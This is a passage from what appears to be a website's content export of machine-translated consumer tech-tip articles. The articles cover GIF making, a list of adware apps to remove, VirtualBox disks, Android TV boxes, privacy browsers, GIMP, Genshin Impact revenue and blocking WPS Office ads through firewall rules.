ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGtnZqufm8G4rdGeZK2nXaeypLvVnqlmnJWhsrWxw2abmqyRYryveceaqZ1llKe2t7HSZqysml2isq670bJknJmimcA%3D\n","link":"/post/top-20-software-to-recover-deleted-data-on-hard-drives-usb-memory-cards/","section":"post","tags":null,"title":"TOP 20 software to recover deleted data on hard drives, USB, memory cards"},{"body":"QuanTriMang - In the article below, we will show you some basic steps to turn YouTube videos into funny and funny animations , the main tool used here is the photo editing program. Professional Photoshop.\n  The first thing we need to do is download and convert this YouTube video file format. There are now many popular and free tools to do this. For example, in this test, we use ZamZar:\n  Very simple, you put the URL of the YouTube video into the box Step 1, select the appropriate format in the box Step 2, enter the email address in the Step 3 box to ZamZar send the resulting file, finally click Convert button :\n  After opening the email and receiving the result file from ZamZar, open Photoshop and follow these steps:\n  Basically, users can still perform the following steps with the GIMP program. To be sure, please refer to the Gimp Animation Plugin (GAP) guide here and the respective plug-ins here. Another point to note for those who use 64-bit operating system will encounter the following error message:\n  Users of 32-bit operating systems or respective Photoshop will not encounter this error\nChoose File\u0026gt; Import\u0026gt; Video Frames to Layers after opening Photoshop:\n  Point to the directory where the video file is saved and convert the format (preferably the MOV file):\n  Here, we will see the Preview window of that video, select Selected Range Only to select the start and end time of the clip, click to fix the first point, then hold Shift + click to Select the end point. Do not Import the clip is too large, because Photoshop only supports up to 500 frames. Then click OK.\nFrame segments are displayed in Photoshop as follows:\n  Each frame - frame in the clip is divided into Layer - the corresponding layer here:\n  Then select Window\u0026gt; Animation to open the Animation control panel:\n  This window displays detailed information of each frame in the clip and the delay time - respectively. If you don't see the delay information, delete it and Import again from the above step:\n  If you want to delete unnecessary frames, select (hold Shift to select multiple frames continuously, or Ctrl to select frames in different locations), then click on the Trash icon -  to delete:\n  Do the same thing until you feel satisfied:\n  Then, press the button  to check the movement between the remaining frames in Photoshop. The effects at this step are mostly slower than when rendering to GIF images or view them directly on the browser. Choose File\u0026gt; Save for Web \u0026amp; Devices :\n  This function allows us to save the remaining frames into Gif image files, make sure you change the Looping Options entry to Forever . And this is our result in this test:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWawqK2kqq%2BmedWim56no2K2r8DOZp6inqM%3D\n","link":"/post/turn-youtube-videos-into-gifs/","section":"post","tags":null,"title":"'Turn' YouTube videos into GIFs"},{"body":"These malicious apps are called 'CopyCatz', as the name suggests, they will fake popular software on Google Play to deceive users, then hack into your phone and start displaying ads. .\n  This type of malware was first discovered in 2017, affecting millions of old phones. Most of the victims were in Asia (India, Pakistan, Bangladesh, Indonesia and Myanmar), with more than 381,000 devices in Canada and 280,000 devices affected in the US.\nSecurity firm Check Point estimates that within two months, malicious apps have brought in cybercriminals more than $ 1.5 million and it spread mainly on older smartphones running Android 5.0 and below.\nDisplaying too many ads will slow down the phone, drain the battery and lose personal information. Here is a list of harmful apps you should remove from your phone:\n- 100 mb Internet Speed ​​Test - Broadband Speed ​​Test - 2 Ways Call Recorder Automatic, Record Phone Calls - 3D Awesome Frame Effects - 3D Photo Editor - 3D Photo Frames Effects \u0026amp; 3D Art Photo Maker - 3D Tattoo Photo Editor \u0026amp; Ideas - Animals Sound Ringtones Real Free - Anti WannaCry Virus - Android - Antivirus - Virus Remover - Antivirus 2017 - Antivirus 2017 \u0026amp; Cleaner - Antivirus 2020, Cleaner \u0026amp; Booster - Antivirus For Android - Antivirus Pro 2017 - Applock 2020 - App Locker \u0026amp; privacy guard - AppLock New 2019 - Privacy Zone \u0026amp; Lock your apps - Assistive Touch 2018 - Assistive Touch 2020 - Audio Video Editor\n- Audio Video Editor Mixer 2019 - Video Cutter - Audio Video Mixer - AV Antivirus 2017 - Battery Doctor - Power Battery 2018 - Battery Doctor 2018 - Fast Charger - Battery Saver - Fast Charging - Battery Saver - Saving Battry - Battery Saver Pro - Battery Saver Pro 2020 - New Power Saver - BeanPro Antivirus - Big Front - Change Front Size - Block Puzzle 102: New Tentris Mania - boost clean (junk cleaner pro) - Calculator - Call Block Blacklist and Block SMS Easy - Call Recorder For Android - Chinese Chess - Chronometer - Clean My Android - Antivirus - cleaner booster -ultra security- - Collage Maker\n- Control Center IOS 12 - Phone X Control Center - Cool Master -CPU Device Cooler - Disk-clean-suite - DJ Mixer Studio 2018 - Don't Stop Eighth Note - Don't Stop Eighth Note 2 - Don't Stop Eighth Note Zombie - Eighth Note - Eighth Note V2 - Eighth Note: Yasuhati - Fast Charger - Dr Battery 2017 - Feeding Fish - Followers - Unfollowers For Insta - free antivirus - Free Antivirus-Mobile Security - Free VPN Proxy - Unlimited VPN \u0026amp; WiFi Security - Get Followers Up 2019 - Get Followers Up 2020 - GPS Navigation - GPS Speedometer - Graffiti Photo Editor - Graffiti Creator - Holy Bible\n- How Fast is My Internet - High Internet Speed ​​Test - Internet Speed ​​Check 2019 - Internet Speed ​​Test - Internet Speed ​​Test APK - Internet Speed ​​Test Free - Internet speedmeter check - iSwipe Phone X - K-Lock gallery picture \u0026amp; video - Learn Excel 2019 - Learn Play Piano - Pianist - Lich Van Nien 2017 - Van Nien Calendar 2018 - Calendar 2018 - Lion Antivirus 2017 - Lock app with Password - Applock All App Protector - loudest alarm clock ever - Loudest Volume Booster - Love days counter - Lovedays Memory 2020 - Love Counter Together - Magnifier Zoom + Flashlight - Male To Female Voice Changer\n- Master Sudoku Offline Free 2018 - Max Cleaner - Booster, Optimizer, Super Cleaner - Max Cleaner - Speed ​​Booster Pro 2021 - Memory Cleaner 2020 - Milab Music Player - All format audio files - Mine Sweep - Free Miner Game - Motocross Racing 2018 - Mp3 cutter - Video Cutter, Easy Ringtone Maker - MP3Cutter \u0026amp; Ringtone Maker 2020 - Name Art Photo Editor - New Full Battery Saver - Battery Manager \u0026amp; Cleaner - Night Mode - Nox Cool Master - Cool Down 2020 - Old Phone Ringtones - Optimiser Pro Cleaner Booster - OS 13 Launcher - Phone 11 Pro Launcher - OS Launcher 12 for iPhone X - Phone Booster - Phone Cleaner - Speed ​​Booster\n- Phone Cooler - Cooling Master - Photo Editor - Photo Editor Awesome Frame Effects 3D - Photo Frame Effects 3D - QR Code Scanner - QR Reader - Quick Ball - Quick Photo Square - Insta Emoji 2019 - Rain Photo Maker - Rain Effect Editor - Recovery all photo deleted - Repair System For Android \u0026amp; Speed ​​Booster - Ringtone maker - Mp3 cutter - Ringtone Maker Ultimate: New Mp3 Cutter - Scream Go - Eighth Note T-Rex - Secret Lock - Secure Gallery Vault: Photos, Videos Privacy Safe - Security Pro - Simple App Lock - Smadav antivirus 2017 - Smadav antivirus for android 2018 - Smadav pro Total security\n- Smart Cleaner-Battery Saver, Super Booster - Sound Meter - Speed ​​Test Internet - Speed ​​Check - Speedtest net app - Sudoku 2 - Sudoku Basic For Beginners 2019 - Super Antivirus Cleaner 2020 - Super Cleaner - Phone Cache Cleaner, RAM Booster - Super Loud Alarm Clock - Super Loud Volume Booster - Super Phone Cleaner 2020 - Super WiFi Rounter - Who Is On My WiFi - Super WiFi Rounter - Who Is On My WiFi - TV Antivirus Free + Applock - Ultra Cleaner 2018 - Unfollowers \u0026amp; Ghost Followers For Insta - Video Music Cutter \u0026amp; Merge Studio - Virus Cleaner - Antivirus 2018 - VPN Unlimited Proxy - Super VPN For Android\n- WiFi File Transfer 2019 - WiFi Key - Free Master WiFi - WiFi Speed ​​Test - WPS Tester - WiFi Toolbox - WPS WPA WiFi Test - WPS Tester\nncG1vNJzZmismaXArq3KnmWcp51kfneAjJqnqaSZmK61tc6nqmaxn6p6tLTOrqOdZaKaurDCxGadq6edYsawwdFmp6Gnnpp6qrnMnpuimaSaubo%3D\n","link":"/post/164-applications-you-should-remove-from-your-phone-immediately/","section":"post","tags":null,"title":"164 applications you should remove from your phone immediately"},{"body":"Network Administration - With advantages such as: efficient, reliable and easy to recover, virtualization technology brings many benefits to us. However, those who are able to go deeper into the virtualization world recognize that sometimes managing virtual machines can be a little confusing. \n Normally, virtual machines are set up for fixed storage, and once you reach that limit, you may feel confused, unless you know how to add virtual drives to the machine. This can be done in VirtualBox, even though it's a bit round-the-clock. However, the final result will satisfy you. The following article will show you how to add a drive for a virtual machine running Windows XP on VirtualBox, done on a Linux computer (Ubuntu 10.10). Implementation on other platforms may be slightly different, but the basic idea is unchanged. Step 1: Turn off the virtual machine First you need to turn off the virtual machine to access the setup. Step 2: Create a new virtual drive To create a new virtual drive, you need to do some of the following. The first step is to create a completely new virtual machine. During this process, you will create a new hard drive for the machine. Note to set the storage capacity for this hard drive exactly as you want to add to the virtual machine. The initial default capacity is 10 GB, if you feel you have not met your needs, you can optionally change it. After the new virtual machine has been created, you can go back and delete the virtual machine. As a result, the newly created hard drive will be left, and from there you can use it for the original virtual machine. The next step is to open the initial virtual machine setup, move to the Storage section (as shown in Figure A). Here you will proceed to add new hard drives to the virtual machine. This hard drive needs to be started after the virtual machine has booted (details later in the article).  Figure A - As you can see, I previously added a drive to this virtual machine, and labeled it drive D.\n\nTo create a new drive, click the Add Hard Disk button. Soon, the new drive will appear under Controller. When selecting this new drive, you can change the Hard Disk entry to the previously created virtual hard drive (as shown in Figure B).\n  Figure B - When you select the Hard Drive item, you will see a list of available hard drives.\nAfter selecting the drive, you need to set it to Primary Slave at Slot . Continue to click OK . Step 3: Launch the hard drive First, you need to start the virtual machine. After booting, you log into the virtual machine, click Start -\u0026gt; Run -\u0026gt; enter compmgmt.msc . After the tool starts, click Disk Management under Storage , then select the drive you want to start. The Initialize and Convert Disk Wizard window will appear (as shown in Figure C). Highlight the drive and click Next .  Figure C - If you have more than one drive listed in the list, mark the drive you want to start.\n\nNext you need to select the drive you want to convert. Check and click Next. Finally, you will receive a notification of completion (as shown in Figure D).\n  Figure D - If you see everything as expected, click Finish to finish and the hard drive will be launched.\nStep 4: Create partitions \n At this point, you have a new hard drive that has been launched but has not been formatted. You need to partition the hard drive to put it into use. Right-click the Unallocated area (as shown in Figure E), select New Partition . The partition wizard will appear.\n  Figure E - Right click on the area marked with diagonal lines.\nNext, you need to add the drive to the selected area (as shown in Figure F).\n Figure F - By default, your drive is already selected. If not, you can select it yourself and click the Add button.\n\nAfter selecting the drive, click Next to go to the next step in the partitioning process. In this step you will assign a letter to the drive and click Next (as shown in Figure G). In the next window, you need to select the drive format.\n  Figure G - Select a letter to assign to the drive.You can also label the drive if you want.\nClick Next to complete this step. Step 5: Restart the virtual machine In order for the hard drive to be ready for use in Windows, you need to restart the virtual machine. After restarting, the job is complete. Now, your virtual machine has added a new hard drive. The process of adding a new hard drive to a virtual machine does not help you expand the capacity of your main hard drive. To do that you need to use a disk image creation tool like Clonezilla.\nncG1vNJzZmismaXArq3KnmWcp51krqWwjJ2poq6VqHqnu9FmraKqpKqurXnMmpqhoZ6awG6%2B1KeloqaXYsSqusOorqxlqKV6sLqMr6CrrKWWuaO71w%3D%3D\n","link":"/post/add-drives-for-virtual-machines-running-windows-xp-on-virtualbox/","section":"post","tags":null,"title":"Add drives for virtual machines running Windows XP on VirtualBox"},{"body":"TipsMake.com - The processing of batch work with .bat files (batch job) and recently using Windows scripts (.wsf) is the first choice of network administrators, to increase public performance The most optimal way. Using batch jobs you can automatically install and remove applications, inventory software or settings for the operating system of all computers on the network. However there are certain tasks that sometimes need to go through multiple authentication layers, such as TELNET .\n  TELNET (short for TErminaL NETwork ) is a network protocol that is used on connections to the Internet or connections at the local LAN computer network. The purpose of the TELNET protocol is to provide a general, bipolar media, using 8-bit width, byte orientation.\nMany network administrators use TELNET for switches to query or set up ports, monitor system operation status, even restart network devices from the command line via TELNET. Therefore it is much more convenient if you can automate TELNET jobs just like batch jobs.\nIn fact, if you are used to using VB scripts to create Windows scripts, VB script provides a very useful feature when you set up Windows Shell scripts for objects, then release that object carefully. by time by the command. Basically, this is like you're sitting in front of a command window and typing in it. The only difference is that the Windows script will send the command window to you.\nAutomate TELNET Job Basically we have two parts to do for this task. You need to sequence the commands you want through the typical TELNET session.\nIn this example, we have 5 devices on the network that need to boot remotely via TELNET using 4 simple commands. The first is to use an IP address and a specific port. Next a menu appears, press Enter .\n  Select a number corresponding to the functions in MAIN MENU , press Enter .\n  Now we have different methods to do this. Some people like to use TST script . But it is somewhat complicated for an inexperienced person. TCL is also a similar scripting language, used for many years. However, here we will guide you to use a VB script file to perform tasks in the shortest, simplest time.\nTo do this, place the following code in a file, such as AutoTELNET.wsf, and then double-click to run:\nFirst, set up TELNET:\nThat is the whole process of automating TELNET, with just three easy steps in an uncomplicated script. After getting used to it, you can customize them to your needs in automating tasks to manage network switches, time clocks or remote system control via TELNET.\nncG1vNJzZmismaXArq3KnmWcp51krrbAzqaYrZ1dqbKtusStZJynnaKur7DSZqysoZ6cereujKyaq6GgqQ%3D%3D\n","link":"/post/automate-telnet-commands-using-vb-script/","section":"post","tags":null,"title":"Automate TELNET commands using VB Script"},{"body":"Are you planning to buy an Android TV box but don't have much experience in choosing? The following basic knowledge about Android TV box will help you choose to buy a quality product that suits your needs.\nAndroid TV box is a signal transceiver running Android operating system, which turns ordinary TV into smart TV, can listen to music, read newspapers, play games, . When choosing to buy Android TV box you have to care about these important criteria.\nIf Smart TV and Internet TV become more popular, Android TV box is also a smart choice for users when there is a need for online entertainment on TV. An Android TV box also has configuration parameters to choose from, the more you read, the higher the Android TV box will be, the faster, more powerful, less jerky when playing games, downloading many applications .\nThe parameters to consider are: Processor (CPU), RAM, internal memory, Graphics Processor (GPU, has additional side effects for CPU, specializing in strengthening the power of image processing).\n Notice the configuration parameters.\nTips to choose to buy based on configuration:\nDepending on your needs, we will choose to buy Android TV box based on the configuration accordingly:\n- If your family only needs to listen to music, watch movies, read newspapers, YouTube, . and download some simple applications, you should choose Android TV box with dual core CPU, about 1-2 GB RAM, 8 GB memory and additional quad-core GPU is enough experience and can be used well (range 700 thousand VND to 2 million).\n- If your family has many members, want to download a variety of applications to your computer or play a lot of heavy games, you should buy more terrible configuration: quad core CPU, 2 GB RAM, 16 or 32 GB memory, core GPU Four or even 8 cores. This price is a bit more expensive, ranging from 2 to 4 million.\nCurrently, most types of LED TVs have HDMI ports, quite convenient for connecting to Android TV box. However, with older models (CRT TV), there is usually only AV port (jack of 3 white, red, yellow). Therefore, when buying certain Android TV box, do not ignore the supporting port element to match your home TV, otherwise it will not cost you much money.\nFor greater certainty and peace of mind, it is best to buy Android box TV with 2 HDMI and AV connectors, so it will be suitable for many TVs and prevent 1 in 2 ports. OK.\n Ports on Android TV boxes also need to be mindful.\nIf you want to choose a high-end Smart TV box to satisfy your home gaming needs, it will need products that support Bluetooth connectivity or multiple USB ports. It is best to buy Android TV box with 2 USB ports, because the Android Box with multiple USB ports will be able to connect at the same time with the mouse, keyboard, gaming handle, .\nAudio port is also a factor you should pay special attention to when buying. For example, in case you want to connect the TV to a compact, portable, . via Optical cable, but the TV does not have it, now an Android TV with Optical port box will be the perfect choice.\nAll good Android TV box products now support Wi-Fi connectivity. However, if the needs of your home do not stop at watching movies, listening to high quality music, . but you want to project your phone screen, laptop to the TV or control the TV by phone, . then an Android TV box with full Miracast, DLNA or Bluetooth support is the first choice.\nNote the wireless connections.\nIn the market now there are many types of Android TV box of variety in price, brand as well as origin. You just need to type in Google keywords Android TV box will be suggested a lot. Therefore, be very alert to make the right choice. Some brands can refer and choose to buy such as: Minix, Mygica, Himedia, Pipo, Zidoo, Kiwibox, .\n Consult carefully and choose a reputable brand.\nBesides, there is another suggestion for you that Android TV box has pre-installed content. Basically, this type is also Android TV normal box but has been installed by the provider of its own content packages developed. Some popular types such as: eBop, ZTV, VNPT, .\nAccessories are indispensable to enhance the user experience, when you own Android TV box you should buy more accessories for yourself such as: Keyboard, camera, gaming handle, .\nWhen buying, you need to ask the seller carefully to see if the machine is sure to support the air connection, if it is correct, please provide the correct type of Android TV box to receive advice to buy good compatibility, avoid money lost because of buying harassment.\nAfter configuration, brand, accessories, . there are many other factors we need to keep in mind when choosing to buy Android TV box:\n- Only choose to consult information and buy online when you are knowledgeable about electronic devices in the house, always remember to carefully check the information about machine configuration, brand origin, warranty, . .\n- If you are not familiar with connecting TV with Android TV box, please go directly to the store for advice, or you can ask an experienced person to accompany you. In the process of consulting the seller, you can ask them to give you a little experience such as: look at the interface, connection port, try to see if it is smooth, try the wireless connection features . to ensure the purchase of the kind and quality.\n Preinstalled applications to facilitate use.\n- Finally, an offer to support your home sales and installation of the applications you want to use is essential if you do not have experience using this device.\nAbove are some of the experiences of buying Android TV box, hoping that with all this experience you will get the original orientation and buy the best Android TV box, best suited to your needs.\nThank you for reading this article.\nMaybe you are interested:\nReview Android TV Box Set up, control new Android TV Box faster thanks to Android TV Remote Control Instructions for using iPhone to control Samsung TVs ncG1vNJzZmismaXArq3KnmWcp51ksrm8xKugnqaTmsBuwM5mop6doGK2r3nMoqWdZaedsq95wqGmqKuZo7RuwM5mma6xXZa7pb7OoptmrKZir7DE\n","link":"/post/experiences-to-keep-in-mind-when-choosing-to-buy-android-tv-box/","section":"post","tags":null,"title":"Experiences to keep in mind when choosing to buy Android TV box"},{"body":"Most users think they are very safe when surfing on mobile devices.But that's a disastrous mistake when there are so many spy organizations tracking users.Therefore it is necessary to ensure your privacy by surfing the web safely so that you are not monitored by the web browser you use.Point out 15 secure browsers to access the network securely on your device.\n# 1 Ghostery Privacy Browser   \nThis is one of the best browsers that every security user knows.This popular browser gives you the personal browsing feature (private browsing) by default.When you close the browser, the application will erase all data, such as browsing history, downloaded files, forms, cookies and entered passwords.\nFeatures of the Ghostery Privacy browser: Review the tracker on every page you visit, then block or allow tracking. Manage website whitelist. Largest database with more than 2,200 tracker and 4,500 scripts. Security options with quick access and easy deletion of cookies, cache and detailed history. # 2 Dolphin Zero   Many of you are familiar with this great Android browser because it offers high security when accessing the web.Similar to the above browser, the browser also deletes all data such as cookies, form data, passwords and all other cache files.So try this great browser.\nDolphin Zero browser features: Adblock (popup blocker), Dolphin browser is one of the best Adblock browsers.With Adblocker, you can block pop-up windows, ads, banners \u0026amp; videos. Anonymous Browsing: Incognito browsing mode gives you a truly private browsing experience without leaving any historical data. Delete user interface and quick access: You can add websites or access as quick access icons with a user-friendly interface and one-touch access. # 3 Krypton Web Browser   Krypton Web Browser is one of the best browsers, works on HTTPS protocol and provides high security while surfing the web.You should use this browser at least once.\nKrypton Web browser features: Privacy: Do not save and transfer history, cookies and website data. Security: Each tab is separated during the processing of specialized operating systems.It is treated as a separate instance with storage memory and its own state. Anonymous: Turn on Tor once to hide your IP, avoid monitoring and anti-censorship, including HTTPS Everywhere protocol and minimize common fingerprinting techniques. # 4 Javelin Incognito Browser   Another modern browser is very popular among students because it supports proxies to bypass blocked websites via wifi.In addition, the browser also incorporates an ad blocking tool, from ads on both sides of the screen to popup ads.\nJavelin Incognito browser features: Block ads: Enjoy web browsing without ads Always anonymous: don't save web history and delete cookies Password protected: Prevent snooping on your recent browsing activities. # 5 CM Browser - Fast \u0026amp; Secure   \nCM Browser is an ultra-light mobile browser that gives you secure web access, protection from malicious threats, blocks scripts to monitor and gives you fast browsing speed!\nBrowser features CM Secure Phishing Prevention: Alerts you when you visit potentially malicious or malicious websites. Protect against downloading malware: Q download downloaded apk files to find malware, protect your device. User Agent: Support users to change access to websites on the desktop. # 6 Chrome Browser - Google   \nEnjoy fast web browsing on Android phones and tablets with your favorite Google Chrome browser on your desktop with a mobile version.Google Chrome features tab synchronization, voice search and saves up to 50% of data usage while surfing the web.You can use incognito mode for secure access.\nChrome browser features: Voice search -use Google's excellent voice search to search without typing. Translate - easily read web pages in multiple languages. Intuitive gestures -open tabs in arbitrary quantities and quickly browse through them by swiping from side to side on the toolbar. Security - use incognito mode, do not save web history. # 7 InBrowser - Incognito Browsing   \nInBrowser is an anonymous / secure browser for Android with TOR and video support.Every time you exit InBrows browser, all information in the application will be deleted, including history, cookies and access sessions.InBrowser is a rich feature browser and it is always private.\nInBrowser browser features: Do not save data. Support Onion Router (TOR) via Orbot. Technical support to hide agent account. Deep integration with LastPass. # 8 Asus Browser- Secure Web Surf   \nASUS Browser is a fast and secure web browser, offering great browsing experience with the speed of web surfing, security and user-friendliness.Its design allows you to browse and search the Internet at the fastest speed while offering many exclusive features.\nAsus browser features: Fast browsing speed: ASUS Browser runs on top Chrome-based tools to load web pages quickly. Adapt: ​​The navigation bar displays popular websites according to your location. Safe Browsing: Integrating security features helps you avoid the risk of being attacked by malicious software and websites. Do-It-Later: This feature is very convenient when bookmarking pages to read later. Bookmark entry: Import the pages you have saved in Google Chrome to view with Asus browser. # 9 Orbot: Proxy with Tor   \nOrbot is a free proxy application that empowers other applications to use the Internet more securely.Orbot uses Tor to encrypt your Internet traffic and then transfer to a variety of computers around the world.\nOrbot: Proxy with Tor browser features Orbot transfers your encrypted traffic over and over to computers all over the world, instead of connecting directly as if it were a VPN or proxy often do. With Orfox, this is an anonymous way to access any website, even if it is blocked, tracked, or on hidden websites, you will have a way to secure and protect the most powerful identity. . # 10 Orfox   \nOrfox is built from the same source code as the Tor Browser (built on Firefox), but with a few minor changes to enhance Firefox's security features for Android and the Android operating system.\nOrfox browser features: Orfox is built from the Tor repo browser based on ESR38 Orfox prevents you from viewing Internet connections from websites you visit, understanding your physical location and allowing you to access blocked websites. # 11 Maxthon Browser   Maxthon Browser is one of Android's highest rated browsers today.It is fast, safe, smart and easy to use.It gives you a great browsing experience.Maxthon Browser is a secure browser that provides maximum privacy and security.Surf the web without leaving a trace, enhance the security of personal information.\nMaxthon browser features: Filter web images automatically, providing you with a cleaner reading environment and saving data. Download web pages first without waiting, even when offline. Maxthon Browser offers many search engines and instant search results from Google, Bing, Yahoo, Baidu, Yandex and DuckDuckGo. Customize screen brightness to protect your eyes. # 12 Armorfly Browser Downloader   \nArmorfly is a secure browser that provides maximum privacy and security.You can 'lock' your secrets and enjoy the browsing experience with full protection.With the help of video detection, Armorfly browser can download many different online videos.\n# 13 Puffin Web Browser   \nPuffin Web browser is a fast browser for mobile.Once users experience Puffin 'miraculous speed', using other regular Mobile Internet will feel like being tortured.All traffic from the Puffin application to Puffin server is encrypted, protected from nearby hackers.\nPuffin Web browser features: Puffin speeds up mobile browsing by converting data streams from resources-restricted devices to the cloud server. It's safe to access the web via unreliable WiFi connections that you may not find in most other browsers. Puffin uses the optimal data compression algorithm to transfer web data onto your device and thus can save up to 90% of bandwidth compared to regular web browsing applications. # 14 Webroot SecureWeb Browser   \nSecure web browser Webroot is one of the many features that you should own on your Android device.It provides real-time protection and virus alerts, potentially malicious websites from Webroot's reputation URL database.\nWebroot Secure Web Browser Features: Protect your identity and financial information from malicious websites when using the Internet. Support password management on mobile devices for secure access while on the move in conjunction with Webroot Internet Security Plus or Internet Security Complete for your computer. Open multiple web pages on one window to simplify multi-tasking and online navigation. # 15 Dolphin   \nDolphin is one of the best Internet Explorer for Android with fast download speeds, HTML5 video player, AdBlocker, tab bar, sidebar, anonymous browsing and flash.\nFeatures of Dolphin browser: Dolphin is a secure browser that gives you a truly private browsing experience without leaving any historical data. Access the Internet by creating personalized gestures. Customize Dolphin browser with many different wallpapers in the wallpaper gallery to match the style and mood. These are 15 browsers that help you surf the web safely on your Android device.Hope you find useful and share with friends.\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxGanqKGeqXpygYytn55lo5azpr%2FTZq6eml2Xv7DD0p6pZp6fp3qiusOrpqKc\n","link":"/post/face-point-15-the-safest-web-browser-for-android/","section":"post","tags":null,"title":"Face point 15 the safest web browser for Android"},{"body":"The tool options in GIMP don't work or you simply don't know how to make them appear in GIMP? In this article, TipsMake.com will show you how to re-open Tool Options in GIMP so you can access all the great features that come with this useful software.\nThe Tool Options dialog box is called Dockable dialogue   Dockable dialogue is basically containers or 'packaged' parts in GIMP that can be moved around, closed and reopened inside the GIMP window. These dockable dialogue allow you to arrange workspace according to your preferences. For example, the default GIMP layout will come with 5 main areas (as shown above).\nOn the left is the Toolbox, which contains all the tools. Below is Tool Options, which will appear when you click on the tool and change based on the tool you have chosen (the article will tell you what to do if Tool Options are not displayed when you click on a tool in a seconds). In the center of the GIMP window, you have the Image Window, where the layout is located (that's where you're editing or the design you're creating). On the right, there are usually the 4th and 5th main areas. The fourth area is the Layers, Channels, Paths, Undo and Fifth areas dialog boxes Brushes, Gradients and Patterns .   Each of these areas can be hidden or closed. For example, if you press the Tab key on the keyboard, all the main areas next to Image Window will be hidden. If you press the Tab key again, all major areas will reappear as in the first picture of this article (provided that you have to click Image Window when pressing the key).\n  By default, GIMP 2.10 or later also has a single window mode (Single Window Mode) - which means that all 5 main areas are tied together. This is in contrast to GIMP in Multi-window Mode (Multi-window Mode), which you can view by going to Windows\u0026gt; Single Window Mode (you can see this Single Window Mode option is not selected in the image above) .\n  When in multi-window mode, you can close any of GIMP's 5 main areas, by clicking the red X button at the corner (like when you close the browser window). If you close all, GIMP will be completely closed and you will have to reopen this program if you want to continue using it. So, for example, you can close Toolbox when in multi-window mode, and also close the Tool Options dialog box.\n  Now only 3 main areas are opened in GIMP).Toolbox and Tool Options are missing.\n  If you put GIMP back into Single Window Mode after closing the Toolbox and Tool Options dialog boxes, you'll see a message on the left, indicating that 'You can drop dockable dialogue here' . The whole left side is still empty because both the Toolbox and Tool Options are missing.\nHow to reopen the Tool Options dialog?   There is a major difference between bringing the Toolbox and Tool Options back in GIMP. For Toolbox, you go to Windows\u0026gt; New Toolbox (assuming you don't attach Tool Options to Toolbox by default). This step will reopen Toolbox and point to Toolbox yourself.\n  If you have attached Tool Options when closing Toolbox, you will have to access Windows\u0026gt; Recently Closed Docs\u0026gt; Toolbox - Tool Options . This will bring back both the Toolbox and Tool Options.\n  On the other hand, to display only Tool Options, you will access Windows\u0026gt; Dockable Dialogues\u0026gt; Tool Options .\n  This step will usually open the Tool Options as a new tab in the Layers, Channels, Paths, Undo History (the fourth main area described earlier). Or, the Tool Options dialog box can be opened in another random location.\nBecause it's a \"docktable\" dialog, it means you can move it to any new location, by clicking on the tab of the dialog with your mouse and dragging it to the new place where you want to put it. (You should drag it to its original position, just below the Toolbox.) Release the mouse button to release the Tool Options in the highlighted area.\nHow to make sure the Tool Options dialog box does not disappear again?   If you want to make sure you do not accidentally move or delete the Tool Options box in the future, you can click the small arrow located at the top right of the Tool Options dialog box.\n  This will display a menu with several options (one of which is Close Tab, will exit the Tool Options box and return you to where you started. You should click here unless you want to capture. head back). To 'lock' the dialog in the correct position and make sure you don't accidentally move it, click the 'Lock Tab to Dock' option . Now, if you try to click and drag Tool Options to another place, nothing will happen. It will remain under Toolbox.\nWhen the Tool Options box is opened and located in the correct position, you will have to open a new layout in GIMP or import the image to use any tool. You can do this by going to File\u0026gt; New to open a new blank document or image, or go to File\u0026gt; Open to open an existing image or layout.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2mqKRdpL21tc6nqmadoqe8s3nToZitZZSksrS602auqKqbYryzecOiqpqooJqus7%2BMoqVmn5mivW5%2BkGk%3D\n","link":"/post/fix-tool-options-error-that-doesn-t-work-or-disappears-in-gimp-2-10/","section":"post","tags":null,"title":"Fix Tool Options error that doesn't work or disappears in GIMP 2.10"},{"body":"Since its first release in September 2020, Genshin Impact has truly become a global phenomenon and is growing at an amazing rate.\n  In addition to the lively open world design and diverse and rich character system, Genshin Impact also especially attracts gamers thanks to the extremely lucky but equally stimulating gacha shooting mechanism.\n  It is this gacha mechanism that has helped Genshin Impact continuously break unprecedented records in terms of revenue. And according to a report by the AppMagic analysis organization, user spending in Genshin Impact on the two platforms App Store and Google Play since August 2020 has exceeded 1.8 billion USD (after deducting the discount). for app stores and taxes).\n  In which, China and Japan are the two markets contributing the most to the above achievement with the proportions of 30% and 23% respectively. The reason is because Genshin Impact is especially popular in the Asian market when it meets the needs of mobile RPGs of the gaming community.\n  However, miHoYo's game also achieved a lot of success in the Western market. Accordingly, the US is the market that accounts for 20% of Genshin Impact's revenue and Russia is at 17th place in the ranking with 13.3 million USD in consumption from players from September 2020 to January 2022.\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKasnKBdoryvsdhmm6KcXZy5sK7ApWSgmZ2av7R5xqKtnmWkpHqosc2sn6KmXZ66sa3CrQ%3D%3D\n","link":"/post/how-much-money-did-global-gamers-give-to-genshin-impact/","section":"post","tags":null,"title":"How much money did global gamers give to Genshin Impact?"},{"body":"Besides the popular Microsoft Office office tools for users, there are many office software released later, including WPS Office.\nWPS Office provides users with full set of office tools including Writer, Spreadsheets and Presentation, similar to Word, Excel and PowerPoint. WPS Office also provides a full range of features to edit documents, slide out or create a spreadsheet. However, using WPS Office is sometimes a bit uncomfortable because WPS Office ads appear in the lower right corner of the screen. Although the ads were turned off, they still reappear. If so, please follow the following article of Network Administrator to completely disable ads on WPS Office.\nHow to install Vietnamese language interface on Microsoft Office 2016 What is a PRC file? How to open PRC file? How to read XML files with iTaxViewer software How to disable ads on WPS Office Download WPS Office Free software We will have 2 ways to turn off advertising on WPS Office, by turning off wpscloudsvr.exe or blocking wpscenter.exe.\nMethod 1: Turn off wpscloudsvr.exe Step 1:\nPress the Windows + R key combination to open the Run dialog box and then enter the keyword wf.msc and click OK.\n  Step 2:\nAppears the Windows Firewall with Advanced Security interface, find the Inbound Rules section .\n  Step 3:\nIn the list that appears, find the wpscloudsvr.exe file , right-click the file and select Disable Rule .\n  Step 4:\nContinue right-click on the file and select Properties . Switch to the new interface, at the General tab, select Block the connection. Click Apply and OK to save this change.\nSo you blocked ads when you opened WPS Office.\n  Method 2: Block wpscenter.exe If you do turn off wpscloudsvr.exe and the ad still appears on WPS Office, it can be combined with wpscenter.exe blocking.\nStep 1:\nYou also open the Windows Firewall with Advanced Security interface, then select the New Rule right corner of the screen.\n  Step 2:\nA New Inbound Rule Wizard window appears. On the Program tab, click Browse and select the path to the WPS 